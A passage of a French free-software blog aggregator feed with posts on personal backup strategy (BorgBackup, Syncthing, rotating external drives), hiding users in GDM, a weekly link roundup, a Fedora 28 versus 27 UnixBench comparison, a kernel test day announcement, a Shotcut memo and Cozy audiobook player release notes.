confiance) mais en effet ça s’adapte et répond à vos besoins au plus près. L’exemple donné par Sebsauvage, stockage : 0,0024€ TTC/Go/mois, transfert (upload ou download) : 0,0138€ TTC/Go. J’adore donner la page <a href="https://aws.amazon.com/fr/glacier/pricing/" rel="noopener" target="_blank">pricing</a> de Amazon Glacier : Tarification du stockage en fonction de la région, du transfert de données entrantes ou sortantes, “Sauf indication contraire, nos prix n’incluent pas les taxes et redevances applicables, y compris la TVA et les taxes de vente applicables”, etc. N’oubliez pas que souscrire à une offre ferme genre 10€ par mois pour 2 To, c’est également une limite <strong>pour vous</strong>. Lorsque vous atteignez les 2 To, vous serez informés/bloqués. Contrairement au paiement à l’usage où le principe est justement que vous n’êtes <strong>plus</strong> limités, on vous fournit ce que vous avez besoin sans changement d’offre simplement en se calquant sur votre usage/consommation. Consommez, consommez mes petits, moins vous vous en souciez, plus ça vous coûte cher. CB renseignée et prélevée automatiquement avec des coûts fluctuants… ça peut faire des étincelles</li><li>Le plus grave à mon sens et le résultat de ces points : Les tests de restauration ne seront quasiment jamais effectués et la restauration des données sera longue et complexe</li></ul><p>A présent je vais proposer une autre solution que je vais nommer “solution locale” :</p><ul><li>Sebsauvage prend 2 DD externe de 2 To en USB 3.0, coût 160 euros. A titre indicatif et selon son comparatif l’offre la moins chère (paiement à l’usage) de la “solution cloud” se situe à 57.6€ TTC/an pour 2 To</li><li>Il utilise pour “faire des sauvegardes” BorgBackup qui gère la rotation, compresse, chiffre. Pas besoin d’utiliser un nouvel outil, il suffit de brancher le DD externe sur le pc/serveur</li><li>Il branche le premier DD externe sur le pc/serveur chez lui le week-end, la sauvegarde s’effectue avec un cron. Le lundi il prend ce DD et le dépose dans son tiroir/bureau/casier en arrivant au boulot. Il prend le second DD dans son tiroir/bureau/casier qu’il ramène chez lui un soir puis il branche ce DD sur le pc/serveur</li><li>Il peut remplacer boulot par parents/enfants/famille/potes</li><li>Il fait ce qu’il veut avec ses <del>cheveux</del> données notamment vérifier l’intégrité des données, chiffrement matériel, faire des tests de restauration plus simplement et régulièrement, dupliquer sur un DD plus volumineux, fournir à un proche un moyen simple de récupérer ses données suite à son décès…</li></ul><h3></h3><h3>Inconnus, données actives et inactives</h3><p>Il y a potentiellement un gros fail dans cette solution, ça correspond aux inconnus, on ne connaît pas l’utilisation de ses données. Sebsauvage a-t-il besoin de restaurer/récupérer régulièrement les données de ses sauvegardes ?</p><p>On va différencier 3 types de données :</p><ul><li>La donnée active “fraiche” qu’on synchronise et qu’on sauvegarde. Je considère la donnée comme fraiche dans une période de 15 jours après sa création ou dernière modification. Ça sera par exemple le dossier <code>/home/Documents</code></li><li>La donnée active “chaude” qu’on sauvegarde. Typiquement <code>/home</code></li><li>La donnée inactive “froide” qu’on archive. Sebsauvage est probablement dans ce cas-là, il n’aura pas besoin de ses photos de vacances 2015 tous les jours, on peut les mettre sur un HDD puis le ranger dans un placard. Ce sera plus long à ressortir et lire mais après tout l’accès à cette donnée est très peu fréquent</li></ul><p>Ce que l’on vient de faire là, c’est analyser plus finement le cas d’utilisation et les besoins de Sebsauvage. On les a passé sous une loupe et on a augmenté notre champ lexical : fréquence (régulièrement, tout le temps, une fois de l’an ?), accès (rapide, lent, de partout ?), utilisation (lecture, écriture, partagée ?).</p><h3></h3><h3>Mon besoin</h3><p>J’ai sensiblement le même besoin que Sebsauvage à la différence notable que j’ai besoin d’inclure une synchronisation des données. </p><p>J’ai un pc portable (pour mes déplacements/interventions), un pc fixe perso à mon domicile, un pc fixe pro au bureau. Lorsque je travaille quelque part, j’ai besoin de récupérer les données sur les autres postes. ATTENTION UNE SYNCHRONISATION N’EST PAS UNE SAUVEGARDE. J’écris un texte dans un document, il se synchronise sur les autres postes, je supprime ce texte, il se synchronise sur les autres postes, je perds donc mon texte. Dans le monde proprio l’outil de synchronisation par excellence s’appelle Dropbox, dans le monde libre c’est <a href="https://syncthing.net/" rel="noopener" target="_blank">Syncthing</a> dont le fonctionnement est <a href="https://linuxfr.org/users/aurelieng/journaux/partage-de-owncloud-decentralise-a-syncthing-distribue" rel="noopener" target="_blank">distribué</a>. Syncthing a mauvaise presse pour deux raisons : 1/ Sa relative complexité (que je confirme) liée au fait que c’est un outil pointu, puissant, souple 2/ Les ressources qu’il consomme, ça tombe bien c’est réglé depuis quelques semaines. </p><p>A présent ma solution nommée sobrement “solution maison” :</p><ul><li>Mes 3 postes sont synchronisés sur le “nœud” principal Syncthing qui est le <a href="https://www.blog-libre.org/2018/02/04/un-bref-retour-sur-le-raspberry-pi-3-modele-b/" rel="noopener" target="_blank">Raspberry Pi</a> de mon domicile auquel j’ai ajouté une clé USB pour éviter l’usure de la carte SD et avoir un espace disque convenable. L’intérêt du Pi est qu’il est toujours allumé, disponible, peu énergivore et suffisant</li><li>Mes données actives fraiches (que j’utilise le plus, les plus importantes) sont synchronisées grâce à Syncthing en permanence. Pour perdre mes données, il faudrait que je perde l’accès aux 4 nœuds (quasi-impossible) : J’ai mon pc portable avec moi en déplacement, mon pc fixe et le Pi à la maison, mon pc fixe boulot au bureau</li><li>Il n’y a cependant pas que la perte de données mais également la corruption, modification inopportune ou suppression de données à prendre en compte. Syncthing propose le <a href="https://docs.syncthing.net/users/versioning.html" rel="noopener" target="_blank">versioning</a> des fichiers. Des crons déclenchent la sauvegarde des données sur DD interne sur mon pc fixe domicile ET mon pc fixe bureau me permettant d’avoir deux jeux de sauvegarde à des endroits différents</li><li>J’ai 2 DD externe. Je branche le premier DD externe sur mon pc chez moi le week-end, la sauvegarde s’effectue avec un cron. Le lundi je prends ce DD et le dépose au boulot. Je prends le second DD que je ramène chez moi le soir</li><li>Je fais ce que je veux avec mes données, librement… pas de tiers, pas de coûts cachés, KISS, moins coûteux et plus sûr qu’une “solution cloud”</li></ul><h3></h3><h3>Votre besoin</h3><p>Je ne viens pas de vous donner une solution générique, chaque cas est particulier. En revanche je vous ai fourni les informations, les termes, les pistes, le cheminement si vous voulez <a href="https://www.blog-libre.org/2018/04/29/apprendre-comprendre/" rel="noopener" target="_blank">apprendre, comprendre…</a></p><p>A noter que pour aller au fond des choses, on devrait utiliser des outils de sauvegarde différents. Borg d’un côté, <a href="https://blog.stickleback.dk/borg-or-restic/" rel="noopener" target="_blank">restic</a> de l’autre prévenant ainsi une erreur humaine ou un bug sur l’un des deux outils. On peut évidemment mixer les solutions présentées dans ce billet, c’est même recommandé pour appréhender les différentes possibilités.</p><p>J’ai pris des libertés sur certains concepts car j’essaie de vulgariser, merci de ne pas m’injurier dans les commentaires <img src="media/84a76596.icon_wink.gif" data-original-source="https://www.blog-libre.org/smilies/icon_wink.gif" alt=";)"></p>
<p><img src="media/25c7216e.1ea6f31074367d57d77721240d30fda9" data-original-source="http://cdn.libravatar.org/avatar/1ea6f31074367d57d77721240d30fda9" alt="Gravatar de blog-libre" class="gravatar" /><br/><i>Original post of <a href="https://www.blog-libre.org/2018/06/09/quelques-reflexions-autour-de-lexternalisation-des-sauvegardes/" title="Visit the source">blog-libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>blog-libre : <a href="">Mutualisation</a> (24/09/2017)</li><li>blog-libre : <a href="">Comment suivre les mises &agrave; jour de vos logiciels libres</a> (10/04/2018)</li></ul></div></p>


feed_id: https://blog.niqnutn.com/index.php?article117/masquer-des-utilisateurs-dans-gdm
title: nIQnutn : Masquer des utilisateurs dans GDM
uri: nIQnutn-Masquer-des-utilisateurs-dans-GDM
url: https://blog.niqnutn.com/index.php?article117/masquer-des-utilisateurs-dans-gdm
content:
<p>Il est parfois utile de masquer des utilisateurs dans le gestionnaire de connexion, ça évite d'avoir une liste d'utilisateur à n'en plus finir ou inutile.</p> 

<div><a href="media/b05190ff.connexion.jpg" data-original-source="https://blog.niqnutn.com/data/medias/0117/connexion.jpg"><img src="media/e26afb14.connexion.tb.jpg" data-original-source="https://blog.niqnutn.com/data/medias/0117/connexion.tb.jpg" alt=""></a></div>


<p>Pour GDM (le gestionnaire de connexion par défaut de <a href="https://blog.niqnutn.com/index.php?tag/gnome">Gnome</a>), il faut modifier un fichier de configuration.</p><p>On commence donc par lister les fichiers utilisateurs présents dans le dossier <strong>/var/lib/AccountsService/users/</strong></p>

[codeUser]ls /var/lib/AccountsService/users/[/codeUser]


<p>Pour l'utilisateur que l'on souhaite masquer sur GDM, il suffit d'éditer son fichier de configuration. S'il n'existe pas, il faudra le créer:</p>

[codeRoot]touch /var/lib/AccountsService/users/<user>[/codeRoot]


<p>Avec l'éditeur de texte, on peut effectuer les modifications</p>
[codeRoot]nano -B /var/lib/AccountsService/users/<user>[/codeRoot]

[codeFile fichier="/var/lib/AccountsService/users/<user>"][User]
SystemAccount=true[/codeFile]

<p>
Il peut être nécessaire de redémarrer l'ordinateur pour que les modifications soient prises en compte.</p><hr>
By nIQnutn
<p><img src="media/a91347c8.5c27127d0dc6fdd370e85d336aa73f8c" data-original-source="http://cdn.libravatar.org/avatar/5c27127d0dc6fdd370e85d336aa73f8c" alt="Gravatar de nIQnutn" class="gravatar" /><br/><i>Original post of <a href="https://blog.niqnutn.com/index.php?article117/masquer-des-utilisateurs-dans-gdm" title="Visit the source">nIQnutn</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #23
uri: 2018-06-11-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-23
feed_id:
https://blog.journalduhacker.net/index.php?article165/liens-interessants-journal-du-hacker-semaine-23-2018

url:
https://blog.journalduhacker.net/index.php?article165/liens-interessants-journal-du-hacker-semaine-23-2018

content:
<p>Pour la 23ème semaine de l'année 2018, voici <strong>12 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/yo6bvq/je_retire_l_outil_de_statistiques_de_mon">Je retire l’outil de statistiques de mon blog</a></li>
<li><a href="https://www.journalduhacker.net/s/ph2eh1/utiliser_http2_et_le_push_avec_nginx">Utiliser HTTP2 et le PUSH avec Nginx</a></li>
<li><a href="https://www.journalduhacker.net/s/5a1teg/je_rejoins_qwant">Je rejoins Qwant</a></li>
<li><a href="https://www.journalduhacker.net/s/k7cbhn/comment_bloquer_les_publicit_s_sur">Comment bloquer les publicités sur Android sans root</a></li>
<li><a href="https://www.journalduhacker.net/s/rryvp8/h_berger_un_webmail_simple_avec">Héberger un webmail simple avec SquirrelMail</a></li>
<li><a href="https://www.journalduhacker.net/s/le31ep/chercher_dans_des_fichiers_de_log_avec">Chercher dans des fichiers de log avec lnav</a></li>
<li><a href="https://www.journalduhacker.net/s/wzkwrb/bien_utiliser_le_couple_php_mysql_en">Bien utiliser le couple PHP/MySQL en évitant les boucles de requêtes</a></li>
<li><a href="https://www.journalduhacker.net/s/ll0kwz/once_you_go_black_you_never_go_back">Once you go black, you never go back</a></li>
<li><a href="https://www.journalduhacker.net/s/f09erz/microsoft_rach_te_github_un_s_isme_pour_les">Microsoft rachète GitHub : un séisme pour les développeurs</a></li>
<li><a href="https://www.journalduhacker.net/s/ac6pwn/acquisition_de_github_par_microsoft">Acquisition de Github par Microsoft</a></li>
<li><a href="https://www.journalduhacker.net/s/h5tpeu/installer_mariadb_10_3_sur_ubuntu_18_04_lts">Installer MariaDB 10.3 sur Ubuntu 18.04 LTS</a></li>
<li><a href="https://www.journalduhacker.net/s/yge7xi/remplacer_les_mots_de_passe_par_l">Remplacer les mots de passe par l’insertion d’une clé USB</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article165/liens-interessants-journal-du-hacker-semaine-23-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #23</a> (13/06/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #23</a> (12/06/2017)</li><li>Carl Chenet : <a href="">Liens int&eacute;ressants Journal Du Pirate semaine #23</a> (05/06/2015)</li></ul></div></p>


title: Eddy33 : Fedora 28 vs Fedora 27 : comparaison des performances pour les versions 64 bits
uri: Eddy33-Fedora-28-vs-Fedora-27-comparaison-des-performances-pour-le
feed_id:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/10/Fedora-28-vs-Fedora-27-%3A-comparaison-des-performances-pour-les-versions-64-bits

url:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/10/Fedora-28-vs-Fedora-27-%3A-comparaison-des-performances-pour-les-versions-64-bits

content:
<p>Salut.</p>
<p>Voici les résultats comparatifs de Fedora 28 vs Fedora 27.</p>
<p>Pour rappel, ma machine est équipée d'un Quad Core Intel Q6600 à 2,4 GHz avec 4 Go de RAM.
</p>
<p>Je me suis limité au benchmark UnixBench qui fournit un indice global, ce qui me simplifiera la comparaison.
La version UnixBench utilisée est la version <a href="http://www.tux.org/pub/tux/niemi/unixbench/unixbench-4.1.0.tgz">4.1.0</a>.</p>
Mon protocole de tests est le suivant : <br><ul><li>Installation de Fedora 28 version 64 bits avec le noyau Fedora 4.13.9-300.fc27.x86_64.</li>
<li>La machine est placée en niveau 3 (init 3).</li>
<li>10 séries de tests avec UnixBench compilé sous Fedora 28 et exécuté sous Fedora 28 (4.16.3-301.fc28.x86_64).</li>
<li>10 séries de tests avec UnixBench compilé sous Fedora 27 et exécuté sous Fedora 27 (4.13.9-300.fc27.x86_64).</li>
</ul><div>
Voici les résultats obtenus :</div><div><br><h2>Fedora 28 version 64 bits :</h2>
<a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_1">Série 1</a> : 641.7 <br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_2">Série 2</a> : 648.2<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_3">Série 3</a> : 634.5<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_4">Série 4</a> : 637.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_5">Série 5</a> : 641.8<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_6">Série 6</a> : 639.5<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_7">Série 7</a> : 645.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_8">Série 8</a> : 606.9<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_9">Série 9</a> : 632.4<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F28/unixbench_64_10">Série 10</a> : 641.5<br><br>
Moyenne : 636,9<br><h2>Fedora 27 version 64 bits :</h2>
Voici pour rappel les résultats obtenus avec Fedora 27 :</div><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_1">Série 1</a> : 963.4 <br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_2">Série 2</a> : 997.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_3">Série 3</a> : 994.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_4">Série 4</a> : 975.2<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_5">Série 5</a> : 984.4<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_6">Série 6</a> : 991.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_7">Série 7</a> : 645.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_8">Série 8</a> : 1005.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_9">Série 9</a> : 998.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_10">Série 10</a> : 1003.6<br><br>
Moyenne : 990,7<div><h2>Résultats :</h2>
Pour Fedora 28, on obtient un indice moyen de 636,9 pour UnixBench.<br>Pour
Fedora 27,  j'avais obtenu un indice moyen de 990,7 pour UnixBench.<br><br><br>On
a donc une baisse de 35,7 % de Fedora 28 64 bits par
rapport à Fedora 27 64 bits :<br><br><img title="perfs_fedora_F27.png, mai 2018" alt="perfs_fedora_F27.png" src="media/517de0ec.perfs_fedora_F28.png" data-original-source="http://eddy33.eddy33.free.fr/weblog/public/perfs_fedora_F28.png" width="600"><br><br><h2>Conclusion :</h2>
<br>Au moment de ces tests, le noyau Fedora 28
(basé sur le noyau vanilla 4.16.3) est nettement moins performant que le noyau Fedora 27
(basé sur le noyau vanilla 4.13.9). Si l'on regarde les différences entre les 2 versions, on s'aperçoit que les indices sur les copies de fichier, le débit dans un pipe et l'overhead sur un appel système sont nettement moins bons pour Fedora 28 que Fedora 27. A suivre...</div><br><div>++</div>
<p><img src="media/889f4f2a.d1430102ed05bb1a49902c819454fef2" data-original-source="http://cdn.libravatar.org/avatar/d1430102ed05bb1a49902c819454fef2" alt="Gravatar de Eddy33" class="gravatar" /><br/><i>Original post of <a href="http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/10/Fedora-28-vs-Fedora-27-%3A-comparaison-des-performances-pour-les-versions-64-bits" title="Visit the source">Eddy33</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Eddy33 : <a href="">Fedora 27 vs Fedora 26 : comparaison des performances pour les versions 64 bits</a> (02/06/2018)</li><li>TitaX : <a href="">Fedora 11 et les rencontres Fedora parisiennes du 27 et 28 juin 2009</a> (24/06/2009)</li><li>Eddy33 : <a href="">Fedora 15 vs Fedora 14 : comparaison des performances pour les versions 32 bits</a> (29/08/2011)</li><li>Eddy33 : <a href="">Fedora 16 vs Fedora 15 : comparaison des performances pour les versions 32 bits</a> (11/12/2011)</li><li>Eddy33 : <a href="">Fedora 17 vs Fedora 16 : comparaison des performances pour les versions 32 bits</a> (26/09/2012)</li></ul></div></p>


feed_id: http://www.elementaryos-fr.org/maintenance-du-forum/
title: elementary OS : Maintenance du forum
uri: 2018-06-11-elementary-OS-Maintenance-du-forum
url: http://www.elementaryos-fr.org/maintenance-du-forum/
content:
<p>Bonjour à toutes et tous,</p>
<p>Nous allons réaliser dans l'après-midi une opération de maintenance sur le forum. Il sera volontairement mis en lecture seule le temps de notre opération. Nous vous préviendrons dés que celui-ci sera opérationnel.</p>
<p></p><p>The post <a rel="nofollow" href="http://www.elementaryos-fr.org/maintenance-du-forum/">Maintenance du forum</a> appeared first on <a rel="nofollow" href="http://www.elementaryos-fr.org/">elementary OS Fr</a>.</p>
<p><img src="media/7e20f332.e363a9ed45733fa3aec7c3a0361380c6" data-original-source="http://cdn.libravatar.org/avatar/e363a9ed45733fa3aec7c3a0361380c6" alt="Gravatar de elementary OS" class="gravatar" /><br/><i>Original post of <a href="http://www.elementaryos-fr.org/maintenance-du-forum/" title="Visit the source">elementary OS</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>elementary OS : <a href="">Mail fait parler de lui &agrave; nouveau !</a> (19/07/2017)</li><li>elementary OS : <a href="">Mise &agrave; jour : Maintenance du forum</a> (22/05/2017)</li></ul></div></p>


title: Renault : [F29] Participez à la journée de test consacrée au noyau Linux 4.17
uri: Renault-F29-Participez-à-la-journée-de-test-consacrée-au-noyau
feed_id:
https://blog.fedora-fr.org/renault/post/%5BF29%5D-Participez-%C3%A0-la-journ%C3%A9e-de-test-consacr%C3%A9e-au-noyau-Linux-4.17

url:
https://blog.fedora-fr.org/renault/post/%5BF29%5D-Participez-%C3%A0-la-journ%C3%A9e-de-test-consacr%C3%A9e-au-noyau-Linux-4.17

content:
<p>Aujourd'hui, ce mardi 12 juin, est une journée dédiée à un test précis : sur
le noyau Linux 4.17. En effet, durant le cycle de développement, l'équipe
d'assurance qualité dédie quelques journées autours de certains composants ou
nouveautés afin de remonter un maximum de problèmes sur le sujet.</p>
<p>Elle fournit en plus une liste de tests précis à effectuer. Il vous suffit
de les suivre, comparer votre résultat au résultat attendu et le notifier.</p>
<h3>En quoi consiste ce test ?</h3>
<p>Le noyau Linux est le cœur du système Fedora (et des autres distributions
GNU/Linux). C'est le composant qui fait le lien entre les logiciels et le
matériel. C'est lui qui permet aux processus de travailler ensemble sur un même
ordinateur et de pouvoir utiliser les périphériques (à travers des pilotes)
disponibles sur chaque machine.</p>
<p>C'est donc un composant critique et il est nécessaire de s'assurer qu'il
fonctionne. Notons par ailleurs que l'équipe des mainteneurs du noyau chez
Fedora ont décidé de faire une journée de tests systématique après la sortie
d'un nouveau noyau !</p>
<p>Les tests du jour couvrent :</p>
<ul><li>L'exécution des <a href="https://apps.fedoraproject.org/kerneltest/" hreflang="en">tests automatisés</a> par défaut et ceux de performances ;</li>
<li>Vérifier que la machine démarre correctement ;</li>
<li>Vérifier que le matériel est bien exploité (affichage, claviers, souris,
imprimantes, scanners, USB, carte graphique, carte son, webcam, réseau filaire
et wifi, etc.)</li>
</ul><h3>Comment y participer ?</h3>
<p>Vous pouvez vous rendre sur <a href="http://testdays.fedorainfracloud.org/events/42" hreflang="en">la page des
tests</a> pour lister les tests disponibles et rapporter vos résultats. La
<a href="https://fedoraproject.org/wiki/Test_Day:2018-06-12_Kernel_4.17_Test_Day" hreflang="en">page wiki</a> récapitule les modalités de la journée.</p>
<p>Si vous avez besoin d'aide lors du déroulement des tests, n'hésitez pas de
faire un tour sur IRC pour recevoir un coup de main sur les canaux
#fedora-test-day et #fedora-fr (respectivement en anglais et en français) sur
le serveur Freenode.</p>
<p>En cas de bogue, il est nécessaire de le rapporter sur le <a href="https://bugzilla.redhat.com/index.cgi" hreflang="en">BugZilla</a>. Si vous ne
savez pas faire, n'hésitez pas à consulter <a href="http://doc.fedora-fr.org/wiki/Apprendre_%C3%A0_rapporter_un_bogue" hreflang="fr">la documentation correspondante</a>.</p>
<p>De plus, si une journée est dédiée à ces tests, il reste possible de les
effectuer quelques jours plus tard sans problème ! Les résultats seront
globalement d'actualité.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/%5BF29%5D-Participez-%C3%A0-la-journ%C3%A9e-de-test-consacr%C3%A9e-au-noyau-Linux-4.17" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Participez &agrave; la journ&eacute;e de test consacr&eacute;e au noyau Linux 4.14</a> (30/11/2017)</li><li>Renault : <a href="">[F28] Participez &agrave; la journ&eacute;e de test consacr&eacute;e au noyau Linux 4.16</a> (13/04/2018)</li><li>Renault : <a href="">Participez &agrave; la journ&eacute;e de test consacr&eacute;e au noyau Linux 4.13</a> (27/09/2017)</li><li>Renault : <a href="">Participez &agrave; la journ&eacute;e de test consacr&eacute;e au noyau Linux 4.15</a> (22/02/2018)</li><li>Renault : <a href="">[F28] Participez &agrave; la journ&eacute;e de test consacr&eacute;e &agrave; l&#039;internationalisation</a> (13/03/2018)</li></ul></div></p>


feed_id: http://formation-logiciel-libre.com/memo-shotcut-debuter-dans-le-montage-video/
title: Dimitri Robert : Mémo Shotcut : débuter dans le montage vidéo
uri: Dimitri-Robert-Mémo-Shotcut-débuter-dans-le-montage-vidéo
url: http://formation-logiciel-libre.com/memo-shotcut-debuter-dans-le-montage-video/
content:
<p>Le 31 mai dernier, j’animais ma première formation dédiée au montage vidéo avec le logiciel libre <a href="https://shotcut.org/">Shotcut</a>. J’ai donc produit un <a href="media/39a17124.memo-shotcut.pdf" data-original-source="http://formation-logiciel-libre.com/wp-content/uploads/2018/06/memo-shotcut.pdf">mémo Shotcut</a> pour synthétiser les bases avec un peu de théorie sur la vidéo en général.</p>
<p>C’est sommaire, c’est une version 0.1, comme on dit quand on met à disposition la première mouture d’un logiciel. Ça ne demande qu’à être amélioré.</p>
<p>Et prochainement je publierai des articles et vidéo sur le montage vidéo et Shotcut en particulier. Shotcut n’est pas le meilleur logiciel de montage vidéo, mais il est simple, multi-plateforme et vous permet de démarrer facilement. Nul doute qu’avec un peu de pratique vous aurez envie de faire plus de choses et de vous tourner vers Kdenlive ou Blender.</p>
<p>Enfin, un grand merci à l’<a href="http://urfist.univ-lyon1.fr/">Urfist de Lyon</a> qui m’a fait confiance pour l’animation de cette formation !</p>
<p>Voici à nouveau le lien pour télécharger le <a href="media/39a17124.memo-shotcut.pdf" data-original-source="http://formation-logiciel-libre.com/wp-content/uploads/2018/06/memo-shotcut.pdf">mémo Shotcut</a> (au cas où vous l’auriez raté plus haut).</p>
<p>L’article <a rel="nofollow" href="http://formation-logiciel-libre.com/memo-shotcut-debuter-dans-le-montage-video/">Mémo Shotcut : débuter dans le montage vidéo</a> est apparu en premier sur <a rel="nofollow" href="http://formation-logiciel-libre.com/">Formation logiciel libre</a>.</p>
<p><img src="media/a723311b.bc7f2e519b76bc86af82809d62e1ca0a" data-original-source="http://cdn.libravatar.org/avatar/bc7f2e519b76bc86af82809d62e1ca0a" alt="Gravatar de Dimitri Robert" class="gravatar" /><br/><i>Original post of <a href="http://formation-logiciel-libre.com/memo-shotcut-debuter-dans-le-montage-video/" title="Visit the source">Dimitri Robert</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/06/sortie-de-cozy-0-6-0/
title: Okki : Sortie de Cozy 0.6.0
uri: Okki-Sortie-de-Cozy-0-6-0
url: https://www.gnomelibre.fr/2018/06/sortie-de-cozy-0-6-0/
content:
<p><a href="https://github.com/geigi/cozy">Cozy</a> est un lecteur de livres audio qui vous permet d’écouter vos livres dans les meilleures conditions qui soient (mémorisation de la position de lecture, minuterie de sommeil, contrôle de la vitesse de lecture pour chaque livre individuellement, recherche dans votre bibliothèque, tri par auteur, narrateur ou titre, ajout possible de plusieurs emplacements de stockage, mode hors ligne, intégration MPRIS…)</p>
<figure><a href="media/975fd651.cozy_060.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060.png"><img src="media/9d269fd5.cozy_060-1024x579.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060-1024x579.png" alt="" width="660" height="373" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060-1024x579.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060-300x170.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060-768x435.png 768w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/cozy_060.png 1283w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>Cozy 0.6.0</figcaption></figure><p>Au menu de cette nouvelle version, nous pouvons citer :</p>
<ul><li>l’apparition d’un mode hors ligne. Si vos livres audio sont sur un lecteur externe ou réseau, vous pouvez l’indiquer comme tel pour que l’application conserve une copie locale du livre à écouter en déplacement</li>
<li>la détection des périphériques de stockage en ligne / hors ligne</li>
<li>l’ajout d’une option pour cacher les livres indisponibles</li>
<li>la prise en charge des fichiers WAVE et des fichiers audio dépourvus de métadonnées</li>
<li>la possibilité de marquer les livres comme étant lus</li>
<li>l’apparition d’un nouveau réglage permettant de choisir votre propre image de couverture plutôt que la couverture intégrée</li>
<li>la minuterie de sommeil a été retravaillée, tout en permettant désormais d’arrêter la lecture à la fin du chapitre en cours</li>
<li>la refonte de l’écran d’accueil et des paramètres</li>
